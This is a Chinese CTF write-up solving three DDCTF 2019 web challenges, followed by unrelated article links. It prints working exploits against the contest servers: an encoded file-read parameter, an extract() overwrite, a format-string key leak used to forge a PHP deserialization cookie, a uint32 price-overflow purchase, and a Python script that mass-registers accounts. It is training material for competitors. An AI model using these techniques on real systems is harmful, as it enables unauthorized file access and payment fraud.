Web 滴

Web 签到题

Web 大吉大利,今晚吃鸡

1)滴

网址http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

参数两次base64解码一次ascii解码得到flag.php

观察只有flag.php才显示图片,尝试把index.php按规则编码获取到index的源码

  1. <?php
  2. /*
  3. * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
  4. * Date: July 4,2018
  5. */
  6. error_reporting(E_ALL || ~E_NOTICE);
  7.  
  8. header('content-type:text/html;charset=utf-8');
  9. if(! isset($_GET['jpg']))
  10. header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
  11. $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
  12. echo '<title>'.$_GET['jpg'].'</title>';
  13. $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
  14. echo $file.'</br>';
  15. $file = str_replace("config","!", $file);
  16. echo $file.'</br>';
  17. $txt = base64_encode(file_get_contents($file));
  18.  
  19. echo "<img src='data:image/gif;base64,".$txt."'></img>";
  20. /*
  21. * Can you find the flag file?
  22. *
  23. */
  24. ?>

访问网址,发现出题人的博客,代码注释里日期2018.7.4找到对应日期的博客

猜测存在vim异常退出留下的文件,尝试访问博客中文件名practice.txt.swp

http://117.51.150.246/practice.txt.swp

得到的线索f1ag!ddctf.php

在开始页面编码f1ag!ddctf.php尝试读取,其中根据上面得到的源码 ‘!’ 被过滤,用config代替

得到源码

  1. <?php
  2. include('config.php');
  3. $k = 'hello';
  4. extract($_GET);
  5. if(isset($uid))
  6. {
  7. $content=trim(file_get_contents($k));
  8. if($uid==$content)
  9. {
  10. echo $flag;
  11. }
  12. else
  13. {
  14. echo'hello';
  15. }
  16. }
  17. ?>

其中存在extract覆盖漏洞,直接访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=

得到flag

2)WEB签到题

进入之后无法访问,查看网络传输信息,找到post请求网址为Auth.php猜测为验证登录

尝试ddctf_username=admin发包成功进入,提示请访问:app/fL2XID2i0Cdh.php

访问页面查看到app/Application.php和app/Session.php源码

  1. url:app/Application.php
  2.  
  3. Class Application {
  4. var $path = '';
  5.  
  6. public function response($data, $errMsg = 'success') {
  7. $ret = ['errMsg' => $errMsg,
  8. 'data' => $data];
  9. $ret = json_encode($ret);
  10. header('Content-type: application/json');
  11. echo $ret;
  12.  
  13. }
  14.  
  15. public function auth() {
  16. $DIDICTF_ADMIN = 'admin';
  17. if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
  18. $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
  19. return TRUE;
  20. }else{
  21. $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
  22. exit();
  23. }
  24.  
  25. }
  26. private function sanitizepath($path) {
  27. $path = trim($path);
  28. $path=str_replace('../','',$path);
  29. $path=str_replace('..\\','',$path);
  30. return $path;
  31. }
  32.  
  33. public function __destruct() {
  34. if(empty($this->path)) {
  35. exit();
  36. }else{
  37. $path = $this->sanitizepath($this->path);
  38. if(strlen($path) !== 18) {
  39. exit();
  40. }
  41. $this->response($data=file_get_contents($path),'Congratulations');
  42. }
  43. exit();
  44. }
  45. }

其中看到Application类中的path参数在魔术方法__destruct()中被调用,并对path进行了一些限制

其中还有危险函数file_get_contents可能用于读取目的文件

猜测可能存在反序列化漏洞

  1. url:app/Session.php
  2.  
  3. include 'Application.php';
  4. class Session extends Application {
  5.  
  6. //key建议为8位字符串
  7. var $eancrykey = '';
  8. var $cookie_expiration = 7200;
  9. var $cookie_name = 'ddctf_id';
  10. var $cookie_path = '';
  11. var $cookie_domain = '';
  12. var $cookie_secure = FALSE;
  13. var $activity = "DiDiCTF";
  14.  
  15. public function index()
  16. {
  17. if(parent::auth()) {
  18. $this->get_key();
  19. if($this->session_read()) {
  20. $data = 'DiDI Welcome you %s';
  21. $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
  22. parent::response($data,'sucess');
  23. }else{
  24. $this->session_create();
  25. $data = 'DiDI Welcome you';
  26. parent::response($data,'sucess');
  27. }
  28. }
  29.  
  30. }
  31.  
  32. private function get_key() {
  33. //eancrykey and flag under the folder
  34. $this->eancrykey = file_get_contents('../config/key.txt');
  35. }
  36.  
  37. public function session_read() {
  38. if(empty($_COOKIE)) {
  39. return FALSE;
  40. }
  41.  
  42. $session = $_COOKIE[$this->cookie_name];
  43. if(!isset($session)) {
  44. parent::response("session not found",'error');
  45. return FALSE;
  46. }
  47. $hash = substr($session,strlen($session)-32);
  48. $session = substr($session,0,strlen($session)-32);
  49.  
  50. if($hash !== md5($this->eancrykey.$session)) {
  51. parent::response("the cookie data not match",'error');
  52. return FALSE;
  53. }
  54. $session = unserialize($session);
  55.  
  56. if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
  57. return FALSE;
  58. }
  59.  
  60. if(!empty($_POST["nickname"])) {
  61. $arr = array($_POST["nickname"],$this->eancrykey);
  62. $data = "Welcome my friend %s";
  63. foreach ($arr as $k => $v) {
  64. $data = sprintf($data,$v);
  65. }
  66. parent::response($data,"Welcome");
  67. }
  68.  
  69. if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
  70. parent::response('the ip addree not match'.'error');
  71. return FALSE;
  72. }
  73. if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
  74. parent::response('the user agent not match','error');
  75. return FALSE;
  76. }
  77. return TRUE;
  78.  
  79. }
  80.  
  81. private function session_create() {
  82. $sessionid = '';
  83. while(strlen($sessionid) < 32) {
  84. $sessionid .= mt_rand(0,mt_getrandmax());
  85. }
  86.  
  87. $userdata = array(
  88. 'session_id' => md5(uniqid($sessionid,TRUE)),
  89. 'ip_address' => $_SERVER['REMOTE_ADDR'],
  90. 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
  91. 'user_data' => '',
  92. );
  93.  
  94. $cookiedata = serialize($userdata);
  95. $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
  96. $expire = $this->cookie_expiration + time();
  97. setcookie(
  98. $this->cookie_name,
  99. $cookiedata,
  100. $expire,
  101. $this->cookie_path,
  102. $this->cookie_domain,
  103. $this->cookie_secure
  104. );
  105.  
  106. }
  107. }
  108.  
  109. $ddctf = new Session();
  110. $ddctf->index();

57行 $session = unserialize($session); 验证了之前的猜想存在反序列化漏洞

那么就是要构造session并调用Application类赋给path值读取flag文件

35行 提示flag所在路径,猜测'../config/flag.txt'

  1. private function get_key() {
  2. //eancrykey and flag under the folder
  3. $this->eancrykey = file_get_contents('../config/key.txt');
  4. }

构造的session会经过一些验证,其中主要构造验证hash值

其验证方式为session[-32:] = md5(eancrykey+session[:-32])

即session的后32位是eancrykey与前面所有字符串拼接后的md5值

接下来就是找eancrykey的具体值,注意到 64行

  1. if(!empty($_POST["nickname"])) {
  2. $arr = array($_POST["nickname"],$this->eancrykey);
  3. $data = "Welcome my friend %s";
  4. foreach ($arr as $k => $v) {
  5. $data = sprintf($data,$v);
  6. }
  7. parent::response($data,"Welcome");
  8. }

熟悉pwn的话容易看出这里存在格式化字符串漏洞

我们令nickname=%s 然后post

成功打印了eancrykey的值:EzBlrbNS

之后开始构造session,urldecode一下原来的session

再经过反序列化之后添加一个Application类,其中path处限制长度18

并且会把../过滤掉,构造'..././config/flag.txt'恰好满足长度

  1. <?php
  2. class Application{
  3. var $path='..././config/flag.txt';
  4. }
  5.  
  6. $a = new Application();
  7.  
  8. $arr = array (
  9. 'session_id' => '063e9d131dd8777edc6e3e6c87dcac56',
  10. 'ip_address' => 'x.x.x.x',
  11. 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
  12. 'user_data' => '',
  13. 'payload' => $a,
  14. );
  15.  
  16. $test = serialize($arr);
  17. $eancrykey= 'EzblrbNS';
  18. $hash = md5($eancrykey.$test);
  19. echo $test.$hash;
  20. ?>

得到

  1. a:5:{s:10:"session_id";s:32:"063e9d131dd8777edc6e3e6c87dcac56";s:10:"ip_address";s:13:"x.x.x.x";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}38b449cd93daf12a3d889a58594ab3d4

经过urlencode提交得到flag

3)大吉大利,今晚吃鸡~

注册登录,显示用户余额100,需要200购买入场卷,直接购买,支付显示余额不足

查看cookie,发现为REVEL_SESSION,推测后台使用golang编写

猜测存在数据溢出,查看go数据类型范围

尝试之后发现为uint32类型,抓包修改金额为4294967296,支付,成功购买

之后需要移除99个对手,注册一个新号同样操作之后填入id与ticket,显示成功移除一名机器人

之后目的就明确了,写脚本注册购买并将id和ticket填入即可

另外,注册页面存在越权漏洞,注册一个帐号,不管是否注册成功都会返回其cookie可用其登录

脚本如下,网上其他师傅的改了一点,学习了

  1. import requests
  2. import time
  3.  
  4. users={}
  5.  
  6. def register(name,pwd='aaaaaaaa'):
  7. url='http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' %(name,pwd)
  8. requests.adapters.DEFAULT_RETRIES = 5
  9. re=requests.get(url=url)
  10. re.keep_alive = False
  11. cookies=re.cookies.get_dict()
  12. users[cookies['user_name']]=cookies['REVEL_SESSION']
  13. print cookies['user_name'],cookies['REVEL_SESSION']
  14. return cookies['user_name'],cookies['REVEL_SESSION']
  15.  
  16. def buyticket(name,session):
  17. url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
  18. header={
  19. 'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session)
  20. }
  21. re=requests.get(url=url,headers=header)
  22. bill_id = re.json()['data'][0]['bill_id']
  23. print bill_id
  24. payticket(bill_id,name,session)
  25.  
  26. def payticket(bill_id,name,session):
  27. url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
  28. header={
  29. 'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session)
  30. }
  31. re=requests.get(url=url,headers=header)
  32. my_id=re.json()["data"][0]["your_id"]
  33. my_ticket=re.json()["data"][0]["your_ticket"]
  34. getflag(my_id,my_ticket)
  35.  
  36. def getflag(id,ticket):
  37. url='http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s' %(id,ticket)
  38. header={
  39. 'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(MainUser,MainSession)
  40. }
  41. re=requests.get(url=url,headers=header)
  42. print re.text
  43.  
  44. if __name__=="__main__":
  45. MainUser,MainSession=register('MainUser0002')
  46. buyticket(MainUser,MainSession)
  47. time.sleep(1.1)
  48. for i in range(200,205):
  49. register('AttachUrr%s' %(i))
  50. time.sleep(0.6)
  51. for j in users:
  52. if j!=MainUser:
  53. buyticket(j,users[j])
  54. time.sleep(0.6)

DDCTF-2019的更多相关文章

  1. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  2. DDCTF 2019 部分WP

    WEB 滴~ http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 观察链接可发现jpg的值是文件名转hex再bas ...

  3. [DDCTF 2019]homebrew event loop

    0x00 知识点 逻辑漏洞: 异步处理导致可以先调用增加钻石,再调用计算价钱的.也就是先货后款. eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#a ...

  4. ddctf2019--web部分writeup

    0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...

  5. 2019 DDCTF 部分writeup

    网上的wp已经很多了,但wp普遍很简略.我尽量写的详细一点. 一.WEB 滴~ 拿到题目后首先右键查看源代码,发现图片是以base64传送的 而且看url发现里面应该是包含了文件名,并且用了某个编码. ...

  6. 2019年台积电进军AR芯片,将用于下一代iPhone

    近日,有报道表示台积电10nm 芯片可怜的收益率可能会对 2017 年多款高端移动设备的推出产生较大的影响,其中自然包括下一代 iPhone 和 iPad 机型.不过,台积电正式驳斥了这一说法,表明1 ...

  7. VS经常报错的link error 2019

    VS经常报错的link error 2019 原因如下: 可能是找得到头文件,但是相关的dll或者lib找不到,需要在配置里面添加相应的库文件. project=>configuration.. ...

  8. YTU 2019: 鞍点计算

    2019: 鞍点计算 时间限制: 1 Sec  内存限制: 64 MB 提交: 66  解决: 30 题目描述 找出具有m行n列二维数组Array的"鞍点",即该位置上的元素在该行 ...

  9. Windows Server 2019 预览版介绍

    在Windows server 2012.Windows server 2016还未完全普及的情况下,昨天Windows Server团队宣布Windows Server 2019将在2018年的下半 ...

  10. Telerik控件集-2019.R1.SP1.All

    Telerik 专注于微软.Net平台的表示层与内容管理控件,提供高度稳定性和丰富性能的组件产品DevCraft,并可应用在非常严格的环境中.Telerik拥有 Microsoft, HP, Alco ...

随机推荐

  1. Vue.js实现注册功能

    编写html,通过vue-resource.js库向后台提交数据 <!DOCTYPE html> <html lang="en"> <head> ...

  2. Ext.isIterable

    Ext.isIterable用于判断传入的参数是否为可迭代的 在这4种情况下,函数返回true 1:数组2:函数参数arguments3:HTML collections : NodeList4:HT ...

  3. 关于sass与VScode 一些配置 学习记录

    VScode三个关于sass的插件 .vscode-Sass------sass/scss文件语法提示.(sublime text也有) .vscode-Easy Sass------scss编译成c ...

  4. Django 加载 app 中的urls

    在 blog app 下创建 urls.py, 定义该 app 下自有的 url : new/story from blog import views from django.conf import ...

  5. ubuntu server 16.04 开启root密码登录

    0x00 ubuntu server 16.04 开启root密码登录 由于众多VPS默认使用证书验证登录,虽然安全但使用十分不便,所以特提供开启root用户并使用密码登录方法. 0x01 为root ...

  6. 工具资源系列之给虚拟机装个windows

    前面我们介绍了如何在 mac 宿主机安装 VMware 虚拟机软件,本节我们将继续介绍如何给虚拟机安装镜像,切换不同的操作系统. VMware 软件是容器,镜像是内核,这里的镜像指的是操作系统. 下载 ...

  7. 通过maven profile 打包指定环境配置

    背景 最近换了个新公司接手了一个老项目,然后比较坑的是这个公司的项目都没有没有做多环境打包配置,每次发布一个环境都要手动的去修改配置文件.今天正好有空就来配置下. 解决这个问题的方式有很多,我这里挑选 ...

  8. Java通过JDBC连接数据库的三种方式!!!并对数据库实现增删改查

    前言 java连接数据库完整流程为: 1,获得驱动(driver),数据库连接(url),用户名(username),密码(password)基本信息的三种方式. 2,通过获得的信息完成JDBC实现连 ...

  9. 分布式缓存Redis集群配置使用

    Redis 简介          redis是一种开源的.基于内存的.可持久化的.高性能的Key-Value数据存储系统. redis能做什么? 持久化存储  高速缓存 消息中间件         ...

  10. 在xp下无人值守自动安装系统

    无人值守安装可以大大缩短安装系统的时间.我在虚拟机测试成功. 先给文件链接https://files.cnblogs.com/files/sishenzaixian/%E8%87%AA%E5%8A%A ...